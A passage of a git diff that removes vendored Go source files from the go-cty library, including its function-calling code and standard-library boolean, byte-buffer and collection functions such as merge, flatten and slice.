!spec.AllowMarked { - unwrappedVal, marks := val.Unmark() - newArgs := make([]cty.Value, len(args)) - copy(newArgs, args) - newArgs[len(posArgs)+i] = unwrappedVal - resultMarks = append(resultMarks, marks) - args = newArgs - } - } - } - - var retVal cty.Value - { - // Intercept any panics from the function and return them as normal errors, - // so a calling language runtime doesn't need to deal with panics. - defer func() { - if r := recover(); r != nil { - val = cty.NilVal - err = errorForPanic(r) - } - }() - - retVal, err = f.spec.Impl(args, expectedType) - if err != nil { - return cty.NilVal, err - } - if len(resultMarks) > 0 { - retVal = retVal.WithMarks(resultMarks...) - } - } - - // Returned value must conform to what the Type function expected, to - // protect callers from having to deal with inconsistencies. - if errs := retVal.Type().TestConformance(expectedType); errs != nil { - panic(fmt.Errorf( - "returned value %#v does not conform to expected return type %#v: %s", - retVal, expectedType, errs[0], - )) - } - - return retVal, nil -} - -// ProxyFunc the type returned by the method Function.Proxy. -type ProxyFunc func(args ...cty.Value) (cty.Value, error) - -// Proxy returns a function that can be called with cty.Value arguments -// to run the function. This is provided as a convenience for when using -// a function directly within Go code. -func (f Function) Proxy() ProxyFunc { - return func(args ...cty.Value) (cty.Value, error) { - return f.Call(args) - } -} - -// Params returns information about the function's fixed positional parameters. -// This does not include information about any variadic arguments accepted; -// for that, call VarParam. -func (f Function) Params() []Parameter { - new := make([]Parameter, len(f.spec.Params)) - copy(new, f.spec.Params) - return new -} - -// VarParam returns information about the variadic arguments the function -// expects, or nil if the function is not variadic. -func (f Function) VarParam() *Parameter { - if f.spec.VarParam == nil { - return nil - } - - ret := *f.spec.VarParam - return &ret -} diff --git a/vendor/github.com/zclconf/go-cty/cty/function/stdlib/bool.go b/vendor/github.com/zclconf/go-cty/cty/function/stdlib/bool.go deleted file mode 100644 index 4f1ecc8d9b..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/function/stdlib/bool.go +++ /dev/null @@ -1,78 +0,0 @@ -package stdlib - -import ( - "github.com/zclconf/go-cty/cty" - "github.com/zclconf/go-cty/cty/function" -) - -var NotFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "val", - Type: cty.Bool, - AllowDynamicType: true, - AllowMarked: true, - }, - }, - Type: function.StaticReturnType(cty.Bool), - Impl: func(args []cty.Value, retType cty.Type) (cty.Value, error) { - return args[0].Not(), nil - }, -}) - -var AndFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "a", - Type: cty.Bool, - AllowDynamicType: true, - AllowMarked: true, - }, - { - Name: "b", - Type: cty.Bool, - AllowDynamicType: true, - AllowMarked: true, - }, - }, - Type: function.StaticReturnType(cty.Bool), - Impl: func(args []cty.Value, retType cty.Type) (cty.Value, error) { - return args[0].And(args[1]), nil - }, -}) - -var OrFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "a", - Type: cty.Bool, - AllowDynamicType: true, - AllowMarked: true, - }, - { - Name: "b", - Type: cty.Bool, - AllowDynamicType: true, - AllowMarked: true, - }, - }, - Type: function.StaticReturnType(cty.Bool), - Impl: func(args []cty.Value, retType cty.Type) (cty.Value, error) { - return args[0].Or(args[1]), nil - }, -}) - -// Not returns the logical complement of the given boolean value. -func Not(num cty.Value) (cty.Value, error) { - return NotFunc.Call([]cty.Value{num}) -} - -// And returns true if and only if both of the given boolean values are true. -func And(a, b cty.Value) (cty.Value, error) { - return AndFunc.Call([]cty.Value{a, b}) -} - -// Or returns true if either of the given boolean values are true. -func Or(a, b cty.Value) (cty.Value, error) { - return OrFunc.Call([]cty.Value{a, b}) -} diff --git a/vendor/github.com/zclconf/go-cty/cty/function/stdlib/bytes.go b/vendor/github.com/zclconf/go-cty/cty/function/stdlib/bytes.go deleted file mode 100644 index a132e0cde5..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/function/stdlib/bytes.go +++ /dev/null @@ -1,112 +0,0 @@ -package stdlib - -import ( - "fmt" - "reflect" - - "github.com/zclconf/go-cty/cty" - "github.com/zclconf/go-cty/cty/function" - "github.com/zclconf/go-cty/cty/gocty" -) - -// Bytes is a capsule type that can be used with the binary functions to -// support applications that need to support raw buffers in addition to -// UTF-8 strings. -var Bytes = cty.Capsule("bytes", reflect.TypeOf([]byte(nil))) - -// BytesVal creates a new Bytes value from the given buffer, which must be -// non-nil or this function will panic. -// -// Once a byte slice has been wrapped in a Bytes capsule, its underlying array -// must be considered immutable. -func BytesVal(buf []byte) cty.Value { - if buf == nil { - panic("can't make Bytes value from nil slice") - } - - return cty.CapsuleVal(Bytes, &buf) -} - -// BytesLen is a Function that returns the length of the buffer encapsulated -// in a Bytes value. -var BytesLenFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "buf", - Type: Bytes, - AllowDynamicType: true, - }, - }, - Type: function.StaticReturnType(cty.Number), - Impl: func(args []cty.Value, retType cty.Type) (cty.Value, error) { - bufPtr := args[0].EncapsulatedValue().(*[]byte) - return cty.NumberIntVal(int64(len(*bufPtr))), nil - }, -}) - -// BytesSlice is a Function that returns a slice of the given Bytes value. -var BytesSliceFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "buf", - Type: Bytes, - AllowDynamicType: true, - }, - { - Name: "offset", - Type: cty.Number, - AllowDynamicType: true, - }, - { - Name: "length", - Type: cty.Number, - AllowDynamicType: true, - }, - }, - Type: function.StaticReturnType(Bytes), - Impl: func(args []cty.Value, retType cty.Type) (cty.Value, error) { - bufPtr := args[0].EncapsulatedValue().(*[]byte) - - var offset, length int - - var err error - err = gocty.FromCtyValue(args[1], &offset) - if err != nil { - return cty.NilVal, err - } - err = gocty.FromCtyValue(args[2], &length) - if err != nil { - return cty.NilVal, err - } - - if offset < 0 || length < 0 { - return cty.NilVal, fmt.Errorf("offset and length must be non-negative") - } - - if offset > len(*bufPtr) { - return cty.NilVal, fmt.Errorf( - "offset %d is greater than total buffer length %d", - offset, len(*bufPtr), - ) - } - - end := offset + length - - if end > len(*bufPtr) { - return cty.NilVal, fmt.Errorf( - "offset %d + length %d is greater than total buffer length %d", - offset, length, len(*bufPtr), - ) - } - - return BytesVal((*bufPtr)[offset:end]), nil - }, -}) - -func BytesLen(buf cty.Value) (cty.Value, error) { - return BytesLenFunc.Call([]cty.Value{buf}) -} - -func BytesSlice(buf cty.Value, offset cty.Value, length cty.Value) (cty.Value, error) { - return BytesSliceFunc.Call([]cty.Value{buf, offset, length}) -} diff --git a/vendor/github.com/zclconf/go-cty/cty/function/stdlib/collection.go b/vendor/github.com/zclconf/go-cty/cty/function/stdlib/collection.go deleted file mode 100644 index 121985f6cb..0000000000 --- a/vendor/github.com/zclconf/go-cty/cty/function/stdlib/collection.go +++ /dev/null @@ -1,1322 +0,0 @@ -package stdlib - -import ( - "errors" - "fmt" - "sort" - - "github.com/zclconf/go-cty/cty" - "github.com/zclconf/go-cty/cty/convert" - "github.com/zclconf/go-cty/cty/function" - "github.com/zclconf/go-cty/cty/gocty" -) - -var HasIndexFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "collection", - Type: cty.DynamicPseudoType, - AllowDynamicType: true, - }, - { - Name: "key", - Type: cty.DynamicPseudoType, - AllowDynamicType: true, - }, - }, - Type: func(args []cty.Value) (ret cty.Type, err error) { - collTy := args[0].Type() - if !(collTy.IsTupleType() || collTy.IsListType() || collTy.IsMapType() || collTy == cty.DynamicPseudoType) { - return cty.NilType, fmt.Errorf("collection must be a list, a map or a tuple") - } - return cty.Bool, nil - }, - Impl: func(args []cty.Value, retType cty.Type) (ret cty.Value, err error) { - return args[0].HasIndex(args[1]), nil - }, -}) - -var IndexFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "collection", - Type: cty.DynamicPseudoType, - }, - { - Name: "key", - Type: cty.DynamicPseudoType, - AllowDynamicType: true, - }, - }, - Type: func(args []cty.Value) (ret cty.Type, err error) { - collTy := args[0].Type() - key := args[1] - keyTy := key.Type() - switch { - case collTy.IsTupleType(): - if keyTy != cty.Number && keyTy != cty.DynamicPseudoType { - return cty.NilType, fmt.Errorf("key for tuple must be number") - } - if !key.IsKnown() { - return cty.DynamicPseudoType, nil - } - var idx int - err := gocty.FromCtyValue(key, &idx) - if err != nil { - return cty.NilType, fmt.Errorf("invalid key for tuple: %s", err) - } - - etys := collTy.TupleElementTypes() - - if idx >= len(etys) || idx < 0 { - return cty.NilType, fmt.Errorf("key must be between 0 and %d inclusive", len(etys)) - } - - return etys[idx], nil - - case collTy.IsListType(): - if keyTy != cty.Number && keyTy != cty.DynamicPseudoType { - return cty.NilType, fmt.Errorf("key for list must be number") - } - - return collTy.ElementType(), nil - - case collTy.IsMapType(): - if keyTy != cty.String && keyTy != cty.DynamicPseudoType { - return cty.NilType, fmt.Errorf("key for map must be string") - } - - return collTy.ElementType(), nil - - default: - return cty.NilType, fmt.Errorf("collection must be a list, a map or a tuple") - } - }, - Impl: func(args []cty.Value, retType cty.Type) (ret cty.Value, err error) { - has, err := HasIndex(args[0], args[1]) - if err != nil { - return cty.NilVal, err - } - if has.False() { // safe because collection and key are guaranteed known here - return cty.NilVal, fmt.Errorf("invalid index") - } - - return args[0].Index(args[1]), nil - }, -}) - -var LengthFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "collection", - Type: cty.DynamicPseudoType, - AllowDynamicType: true, - }, - }, - Type: func(args []cty.Value) (ret cty.Type, err error) { - collTy := args[0].Type() - if !(collTy.IsTupleType() || collTy.IsListType() || collTy.IsMapType() || collTy.IsSetType() || collTy == cty.DynamicPseudoType) { - return cty.NilType, fmt.Errorf("collection must be a list, a map or a tuple") - } - return cty.Number, nil - }, - Impl: func(args []cty.Value, retType cty.Type) (ret cty.Value, err error) { - return args[0].Length(), nil - }, -}) - -var ElementFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "list", - Type: cty.DynamicPseudoType, - }, - { - Name: "index", - Type: cty.Number, - }, - }, - Type: func(args []cty.Value) (cty.Type, error) { - list := args[0] - listTy := list.Type() - switch { - case listTy.IsListType(): - return listTy.ElementType(), nil - case listTy.IsTupleType(): - if !args[1].IsKnown() { - // If the index isn't known yet then we can't predict the - // result type since each tuple element can have its own type. - return cty.DynamicPseudoType, nil - } - - etys := listTy.TupleElementTypes() - var index int - err := gocty.FromCtyValue(args[1], &index) - if err != nil { - // e.g. fractional number where whole number is required - return cty.DynamicPseudoType, fmt.Errorf("invalid index: %s", err) - } - if len(etys) == 0 { - return cty.DynamicPseudoType, errors.New("cannot use element function with an empty list") - } - index = index % len(etys) - return etys[index], nil - default: - return cty.DynamicPseudoType, fmt.Errorf("cannot read elements from %s", listTy.FriendlyName()) - } - }, - Impl: func(args []cty.Value, retType cty.Type) (cty.Value, error) { - var index int - err := gocty.FromCtyValue(args[1], &index) - if err != nil { - // can't happen because we checked this in the Type function above - return cty.DynamicVal, fmt.Errorf("invalid index: %s", err) - } - - if !args[0].IsKnown() { - return cty.UnknownVal(retType), nil - } - - l := args[0].LengthInt() - if l == 0 { - return cty.DynamicVal, errors.New("cannot use element function with an empty list") - } - index = index % l - - // We did all the necessary type checks in the type function above, - // so this is guaranteed not to fail. - return args[0].Index(cty.NumberIntVal(int64(index))), nil - }, -}) - -// CoalesceListFunc is a function that takes any number of list arguments -// and returns the first one that isn't empty. -var CoalesceListFunc = function.New(&function.Spec{ - Params: []function.Parameter{}, - VarParam: &function.Parameter{ - Name: "vals", - Type: cty.DynamicPseudoType, - AllowUnknown: true, - AllowDynamicType: true, - AllowNull: true, - }, - Type: func(args []cty.Value) (ret cty.Type, err error) { - if len(args) == 0 { - return cty.NilType, errors.New("at least one argument is required") - } - - argTypes := make([]cty.Type, len(args)) - - for i, arg := range args { - // if any argument is unknown, we can't be certain know which type we will return - if !arg.IsKnown() { - return cty.DynamicPseudoType, nil - } - ty := arg.Type() - - if !ty.IsListType() && !ty.IsTupleType() { - return cty.NilType, errors.New("coalescelist arguments must be lists or tuples") - } - - argTypes[i] = arg.Type() - } - - last := argTypes[0] - // If there are mixed types, we have to return a dynamic type. - for _, next := range argTypes[1:] { - if !next.Equals(last) { - return cty.DynamicPseudoType, nil - } - } - - return last, nil - }, - Impl: func(args []cty.Value, retType cty.Type) (ret cty.Value, err error) { - for _, arg := range args { - if !arg.IsKnown() { - // If we run into an unknown list at some point, we can't - // predict the final result yet. (If there's a known, non-empty - // arg before this then we won't get here.) - return cty.UnknownVal(retType), nil - } - - if arg.LengthInt() > 0 { - return arg, nil - } - } - - return cty.NilVal, errors.New("no non-null arguments") - }, -}) - -// CompactFunc is a function that takes a list of strings and returns a new list -// with any empty string elements removed. -var CompactFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "list", - Type: cty.List(cty.String), - }, - }, - Type: function.StaticReturnType(cty.List(cty.String)), - Impl: func(args []cty.Value, retType cty.Type) (ret cty.Value, err error) { - listVal := args[0] - if !listVal.IsWhollyKnown() { - // If some of the element values aren't known yet then we - // can't yet return a compacted list - return cty.UnknownVal(retType), nil - } - - var outputList []cty.Value - - for it := listVal.ElementIterator(); it.Next(); { - _, v := it.Element() - if v.IsNull() || v.AsString() == "" { - continue - } - outputList = append(outputList, v) - } - - if len(outputList) == 0 { - return cty.ListValEmpty(cty.String), nil - } - - return cty.ListVal(outputList), nil - }, -}) - -// ContainsFunc is a function that determines whether a given list or -// set contains a given single value as one of its elements. -var ContainsFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "list", - Type: cty.DynamicPseudoType, - }, - { - Name: "value", - Type: cty.DynamicPseudoType, - }, - }, - Type: function.StaticReturnType(cty.Bool), - Impl: func(args []cty.Value, retType cty.Type) (cty.Value, error) { - arg := args[0] - ty := arg.Type() - - if !ty.IsListType() && !ty.IsTupleType() && !ty.IsSetType() { - return cty.NilVal, errors.New("argument must be list, tuple, or set") - } - - if args[0].IsNull() { - return cty.NilVal, errors.New("cannot search a nil list or set") - } - - if args[0].LengthInt() == 0 { - return cty.False, nil - } - - if !args[0].IsKnown() || !args[1].IsKnown() { - return cty.UnknownVal(cty.Bool), nil - } - - containsUnknown := false - for it := args[0].ElementIterator(); it.Next(); { - _, v := it.Element() - eq := args[1].Equals(v) - if !eq.IsKnown() { - // We may have an unknown value which could match later, but we - // first need to continue checking all values for an exact - // match. - containsUnknown = true - continue - } - if eq.True() { - return cty.True, nil - } - } - - if containsUnknown { - return cty.UnknownVal(cty.Bool), nil - } - - return cty.False, nil - }, -}) - -// DistinctFunc is a function that takes a list and returns a new list -// with any duplicate elements removed. -var DistinctFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "list", - Type: cty.List(cty.DynamicPseudoType), - }, - }, - Type: func(args []cty.Value) (cty.Type, error) { - return args[0].Type(), nil - }, - Impl: func(args []cty.Value, retType cty.Type) (ret cty.Value, err error) { - listVal := args[0] - - if !listVal.IsWhollyKnown() { - return cty.UnknownVal(retType), nil - } - var list []cty.Value - - for it := listVal.ElementIterator(); it.Next(); { - _, v := it.Element() - list, err = appendIfMissing(list, v) - if err != nil { - return cty.NilVal, err - } - } - - if len(list) == 0 { - return cty.ListValEmpty(retType.ElementType()), nil - } - return cty.ListVal(list), nil - }, -}) - -// ChunklistFunc is a function that splits a single list into fixed-size chunks, -// returning a list of lists. -var ChunklistFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "list", - Type: cty.List(cty.DynamicPseudoType), - }, - { - Name: "size", - Type: cty.Number, - }, - }, - Type: func(args []cty.Value) (cty.Type, error) { - return cty.List(args[0].Type()), nil - }, - Impl: func(args []cty.Value, retType cty.Type) (ret cty.Value, err error) { - listVal := args[0] - if !listVal.IsKnown() { - return cty.UnknownVal(retType), nil - } - - if listVal.LengthInt() == 0 { - return cty.ListValEmpty(listVal.Type()), nil - } - - var size int - err = gocty.FromCtyValue(args[1], &size) - if err != nil { - return cty.NilVal, fmt.Errorf("invalid index: %s", err) - } - - if size < 0 { - return cty.NilVal, errors.New("the size argument must be positive") - } - - output := make([]cty.Value, 0) - - // if size is 0, returns a list made of the initial list - if size == 0 { - output = append(output, listVal) - return cty.ListVal(output), nil - } - - chunk := make([]cty.Value, 0) - - l := args[0].LengthInt() - i := 0 - - for it := listVal.ElementIterator(); it.Next(); { - _, v := it.Element() - chunk = append(chunk, v) - - // Chunk when index isn't 0, or when reaching the values's length - if (i+1)%size == 0 || (i+1) == l { - output = append(output, cty.ListVal(chunk)) - chunk = make([]cty.Value, 0) - } - i++ - } - - return cty.ListVal(output), nil - }, -}) - -// FlattenFunc is a function that takes a list and replaces any elements -// that are lists with a flattened sequence of the list contents. -var FlattenFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "list", - Type: cty.DynamicPseudoType, - }, - }, - Type: func(args []cty.Value) (cty.Type, error) { - if !args[0].IsWhollyKnown() { - return cty.DynamicPseudoType, nil - } - - argTy := args[0].Type() - if !argTy.IsListType() && !argTy.IsSetType() && !argTy.IsTupleType() { - return cty.NilType, errors.New("can only flatten lists, sets and tuples") - } - - retVal, known := flattener(args[0]) - if !known { - return cty.DynamicPseudoType, nil - } - - tys := make([]cty.Type, len(retVal)) - for i, ty := range retVal { - tys[i] = ty.Type() - } - return cty.Tuple(tys), nil - }, - Impl: func(args []cty.Value, retType cty.Type) (ret cty.Value, err error) { - inputList := args[0] - if inputList.LengthInt() == 0 { - return cty.EmptyTupleVal, nil - } - - out, known := flattener(inputList) - if !known { - return cty.UnknownVal(retType), nil - } - - return cty.TupleVal(out), nil - }, -}) - -// Flatten until it's not a cty.List, and return whether the value is known. -// We can flatten lists with unknown values, as long as they are not -// lists themselves. -func flattener(flattenList cty.Value) ([]cty.Value, bool) { - out := make([]cty.Value, 0) - for it := flattenList.ElementIterator(); it.Next(); { - _, val := it.Element() - if val.Type().IsListType() || val.Type().IsSetType() || val.Type().IsTupleType() { - if !val.IsKnown() { - return out, false - } - - res, known := flattener(val) - if !known { - return res, known - } - out = append(out, res...) - } else { - out = append(out, val) - } - } - return out, true -} - -// KeysFunc is a function that takes a map and returns a sorted list of the map keys. -var KeysFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "inputMap", - Type: cty.DynamicPseudoType, - AllowUnknown: true, - }, - }, - Type: func(args []cty.Value) (cty.Type, error) { - ty := args[0].Type() - switch { - case ty.IsMapType(): - return cty.List(cty.String), nil - case ty.IsObjectType(): - atys := ty.AttributeTypes() - if len(atys) == 0 { - return cty.EmptyTuple, nil - } - // All of our result elements will be strings, and atys just - // decides how many there are. - etys := make([]cty.Type, len(atys)) - for i := range etys { - etys[i] = cty.String - } - return cty.Tuple(etys), nil - default: - return cty.DynamicPseudoType, function.NewArgErrorf(0, "must have map or object type") - } - }, - Impl: func(args []cty.Value, retType cty.Type) (cty.Value, error) { - m := args[0] - var keys []cty.Value - - switch { - case m.Type().IsObjectType(): - // In this case we allow unknown values so we must work only with - // the attribute _types_, not with the value itself. - var names []string - for name := range m.Type().AttributeTypes() { - names = append(names, name) - } - sort.Strings(names) // same ordering guaranteed by cty's ElementIterator - if len(names) == 0 { - return cty.EmptyTupleVal, nil - } - keys = make([]cty.Value, len(names)) - for i, name := range names { - keys[i] = cty.StringVal(name) - } - return cty.TupleVal(keys), nil - default: - if !m.IsKnown() { - return cty.UnknownVal(retType), nil - } - - // cty guarantees that ElementIterator will iterate in lexicographical - // order by key. - for it := args[0].ElementIterator(); it.Next(); { - k, _ := it.Element() - keys = append(keys, k) - } - if len(keys) == 0 { - return cty.ListValEmpty(cty.String), nil - } - return cty.ListVal(keys), nil - } - }, -}) - -// LookupFunc is a function that performs dynamic lookups of map types. -var LookupFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "inputMap", - Type: cty.DynamicPseudoType, - }, - { - Name: "key", - Type: cty.String, - }, - { - Name: "default", - Type: cty.DynamicPseudoType, - }, - }, - Type: func(args []cty.Value) (ret cty.Type, err error) { - ty := args[0].Type() - - switch { - case ty.IsObjectType(): - if !args[1].IsKnown() { - return cty.DynamicPseudoType, nil - } - - key := args[1].AsString() - if ty.HasAttribute(key) { - return args[0].GetAttr(key).Type(), nil - } else if len(args) == 3 { - // if the key isn't found but a default is provided, - // return the default type - return args[2].Type(), nil - } - return cty.DynamicPseudoType, function.NewArgErrorf(0, "the given object has no attribute %q", key) - case ty.IsMapType(): - if len(args) == 3 { - _, err = convert.Convert(args[2], ty.ElementType()) - if err != nil { - return cty.NilType, function.NewArgErrorf(2, "the default value must have the same type as the map elements") - } - } - return ty.ElementType(), nil - default: - return cty.NilType, function.NewArgErrorf(0, "lookup() requires a map as the first argument") - } - }, - Impl: func(args []cty.Value, retType cty.Type) (ret cty.Value, err error) { - defaultVal := args[2] - - mapVar := args[0] - lookupKey := args[1].AsString() - - if !mapVar.IsWhollyKnown() { - return cty.UnknownVal(retType), nil - } - - if mapVar.Type().IsObjectType() { - if mapVar.Type().HasAttribute(lookupKey) { - return mapVar.GetAttr(lookupKey), nil - } - } else if mapVar.HasIndex(cty.StringVal(lookupKey)) == cty.True { - return mapVar.Index(cty.StringVal(lookupKey)), nil - } - - defaultVal, err = convert.Convert(defaultVal, retType) - if err != nil { - return cty.NilVal, err - } - return defaultVal, nil - }, -}) - -// MergeFunc constructs a function that takes an arbitrary number of maps or -// objects, and returns a single value that contains a merged set of keys and -// values from all of the inputs. -// -// If more than one given map or object defines the same key then the one that -// is later in the argument sequence takes precedence. -var MergeFunc = function.New(&function.Spec{ - Params: []function.Parameter{}, - VarParam: &function.Parameter{ - Name: "maps", - Type: cty.DynamicPseudoType, - AllowDynamicType: true, - AllowNull: true, - }, - Type: func(args []cty.Value) (cty.Type, error) { - // empty args is accepted, so assume an empty object since we have no - // key-value types. - if len(args) == 0 { - return cty.EmptyObject, nil - } - - // collect the possible object attrs - attrs := map[string]cty.Type{} - - first := cty.NilType - matching := true - attrsKnown := true - for i, arg := range args { - ty := arg.Type() - // any dynamic args mean we can't compute a type - if ty.Equals(cty.DynamicPseudoType) { - return cty.DynamicPseudoType, nil - } - - // check for invalid arguments - if !ty.IsMapType() && !ty.IsObjectType() { - return cty.NilType, fmt.Errorf("arguments must be maps or objects, got %#v", ty.FriendlyName()) - } - - switch { - case ty.IsObjectType() && !arg.IsNull(): - for attr, aty := range ty.AttributeTypes() { - attrs[attr] = aty - } - case ty.IsMapType(): - switch { - case arg.IsNull(): - // pass, nothing to add - case arg.IsKnown(): - ety := arg.Type().ElementType() - for it := arg.ElementIterator(); it.Next(); { - attr, _ := it.Element() - attrs[attr.AsString()] = ety - } - default: - // any unknown maps means we don't know all possible attrs - // for the return type - attrsKnown = false - } - } - - // record the first argument type for comparison - if i == 0 { - first = arg.Type() - continue - } - - if !ty.Equals(first) && matching { - matching = false - } - } - - // the types all match, so use the first argument type - if matching { - return first, nil - } - - // We had a mix of unknown maps and objects, so we can't predict the - // attributes - if !attrsKnown { - return cty.DynamicPseudoType, nil - } - - return cty.Object(attrs), nil - }, - Impl: func(args []cty.Value, retType cty.Type) (ret cty.Value, err error) { - outputMap := make(map[string]cty.Value) - - // if all inputs are null, return a null value rather than an object - // with null attributes - allNull := true - for _, arg := range args { - if arg.IsNull() { - continue - } else { - allNull = false - } - - for it := arg.ElementIterator(); it.Next(); { - k, v := it.Element() - outputMap[k.AsString()] = v - } - } - - switch { - case allNull: - return cty.NullVal(retType), nil - case retType.IsMapType(): - if len(outputMap) == 0 { - return cty.MapValEmpty(retType.ElementType()), nil - } - return cty.MapVal(outputMap), nil - case retType.IsObjectType(), retType.Equals(cty.DynamicPseudoType): - return cty.ObjectVal(outputMap), nil - default: - panic(fmt.Sprintf("unexpected return type: %#v", retType)) - } - }, -}) - -// ReverseListFunc takes a sequence and produces a new sequence of the same length -// with all of the same elements as the given sequence but in reverse order. -var ReverseListFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "list", - Type: cty.DynamicPseudoType, - }, - }, - Type: func(args []cty.Value) (cty.Type, error) { - argTy := args[0].Type() - switch { - case argTy.IsTupleType(): - argTys := argTy.TupleElementTypes() - retTys := make([]cty.Type, len(argTys)) - for i, ty := range argTys { - retTys[len(retTys)-i-1] = ty - } - return cty.Tuple(retTys), nil - case argTy.IsListType(), argTy.IsSetType(): // We accept sets here to mimic the usual behavior of auto-converting to list - return cty.List(argTy.ElementType()), nil - default: - return cty.NilType, function.NewArgErrorf(0, "can only reverse list or tuple values, not %s", argTy.FriendlyName()) - } - }, - Impl: func(args []cty.Value, retType cty.Type) (ret cty.Value, err error) { - in := args[0].AsValueSlice() - outVals := make([]cty.Value, len(in)) - for i, v := range in { - outVals[len(outVals)-i-1] = v - } - switch { - case retType.IsTupleType(): - return cty.TupleVal(outVals), nil - default: - if len(outVals) == 0 { - return cty.ListValEmpty(retType.ElementType()), nil - } - return cty.ListVal(outVals), nil - } - }, -}) - -// SetProductFunc calculates the Cartesian product of two or more sets or -// sequences. If the arguments are all lists then the result is a list of tuples, -// preserving the ordering of all of the input lists. Otherwise the result is a -// set of tuples. -var SetProductFunc = function.New(&function.Spec{ - Params: []function.Parameter{}, - VarParam: &function.Parameter{ - Name: "sets", - Type: cty.DynamicPseudoType, - }, - Type: func(args []cty.Value) (retType cty.Type, err error) { - if len(args) < 2 { - return cty.NilType, errors.New("at least two arguments are required") - } - - listCount := 0 - elemTys := make([]cty.Type, len(args)) - for i, arg := range args { - aty := arg.Type() - switch { - case aty.IsSetType(): - elemTys[i] = aty.ElementType() - case aty.IsListType(): - elemTys[i] = aty.ElementType() - listCount++ - case aty.IsTupleType(): - // We can accept a tuple type only if there's some common type - // that all of its elements can be converted to. - allEtys := aty.TupleElementTypes() - if len(allEtys) == 0 { - elemTys[i] = cty.DynamicPseudoType - listCount++ - break - } - ety, _ := convert.UnifyUnsafe(allEtys) - if ety == cty.NilType { - return cty.NilType, function.NewArgErrorf(i, "all elements must be of the same type") - } - elemTys[i] = ety - listCount++ - default: - return cty.NilType, function.NewArgErrorf(i, "a set or a list is required") - } - } - - if listCount == len(args) { - return cty.List(cty.Tuple(elemTys)), nil - } - return cty.Set(cty.Tuple(elemTys)), nil - }, - Impl: func(args []cty.Value, retType cty.Type) (ret cty.Value, err error) { - ety := retType.ElementType() - - total := 1 - for _, arg := range args { - // Because of our type checking function, we are guaranteed that - // all of the arguments are known, non-null values of types that - // support LengthInt. - total *= arg.LengthInt() - } - - if total == 0 { - // If any of the arguments was an empty collection then our result - // is also an empty collection, which we'll short-circuit here. - if retType.IsListType() { - return cty.ListValEmpty(ety), nil - } - return cty.SetValEmpty(ety), nil - } - - subEtys := ety.TupleElementTypes() - product := make([][]cty.Value, total) - - b := make([]cty.Value, total*len(args)) - n := make([]int, len(args)) - s := 0 - argVals := make([][]cty.Value, len(args)) - for i, arg := range args { - argVals[i] = arg.AsValueSlice() - } - - for i := range product { - e := s + len(args) - pi := b[s:e] - product[i] = pi - s = e - - for j, n := range n { - val := argVals[j][n] - ty := subEtys[j] - if !val.Type().Equals(ty) { - var err error - val, err = convert.Convert(val, ty) - if err != nil { - // Should never happen since we checked this in our - // type-checking function. - return cty.NilVal, fmt.Errorf("failed to convert argVals[%d][%d] to %s; this is a bug in cty", j, n, ty.FriendlyName()) - } - } - pi[j] = val - } - - for j := len(n) - 1; j >= 0; j-- { - n[j]++ - if n[j] < len(argVals[j]) { - break - } - n[j] = 0 - } - } - - productVals := make([]cty.Value, total) - for i, vals := range product { - productVals[i] = cty.TupleVal(vals) - } - - if retType.IsListType() { - return cty.ListVal(productVals), nil - } - return cty.SetVal(productVals), nil - }, -}) - -// SliceFunc is a function that extracts some consecutive elements -// from within a list. -var SliceFunc = function.New(&function.Spec{ - Params: []function.Parameter{ - { - Name: "list", - Type: cty.DynamicPseudoType, - }, - { - Name: "start_index", - Type: cty.Number, - }, - { - Name: "end_index", - Type: cty.Number, - }, - }, - Type: func(args []cty.Value) (cty.Type, error) { - arg := args[0] - argTy := arg.Type() - - if argTy.IsSetType() { - return cty.NilType, function.NewArgErrorf(0, "cannot slice a set, because its elements do not have indices; explicitly convert to a list if the ordering of the result is not important") - } - if !argTy.IsListType() && !argTy.IsTupleType() { - return cty.NilType, function.NewArgErrorf(0, "must be a list or tuple value") - } - - startIndex, endIndex, idxsKnown, err := sliceIndexes(args) - if err != nil { - return cty.NilType, err - } - - if argTy.IsListType() { - return argTy, nil - } - - if !idxsKnown { - // If we don't know our start/end indices then we can't predict - // the result type if we're planning to return a tuple. - return cty.DynamicPseudoType, nil - } - return cty.Tuple(argTy.TupleElementTypes()[startIndex:endIndex]), nil - }, - Impl: func(args []cty.Value, retType cty.Type) (ret cty.Value, err error) { - inputList := args[0] - - if retType == cty.DynamicPseudoType { - return cty.DynamicVal, nil - } - - // we ignore idxsKnown return value here because the indices are always - // known here, or else the call would've short-circuited. - startIndex, endIndex, _, err := sliceIndexes(args) - if err != nil { - return cty.NilVal, err - } - - if endIndex-startIndex == 0 { - if retType.IsTupleType() { - return cty.EmptyTupleVal, nil - } - return cty.ListValEmpty(retType.ElementType()), nil - } - - outputList := inputList.AsValueSlice()[startIndex:endIndex] - - if retType.IsTupleType() { - return cty.TupleVal(outputList), nil - } - - return cty.ListVal(outputList), nil - }, -}) - -func sliceIndexes(args []cty.Value) (int, int, bool, error) { - var startIndex, endIndex, length int - var startKnown, endKnown, lengthKnown bool - - if args[0].Type().IsTupleType() || args[0].IsKnown() { // if it's a tuple then we always know the length by the type, but lists must be known - length = args[0].LengthInt() - lengthKnown = true - } - - if args[1].IsKnown() { - if err := gocty.FromCtyValue(args[1], &startIndex); err != nil { - return 0, 0, false, function.NewArgErrorf(1, "invalid start index: %s", err) - } - if startIndex < 0 { - return 0, 0, false, function.NewArgErrorf(1, "start index must not be less than zero") - } - if lengthKnown && startIndex > length { - return 0, 0, false, 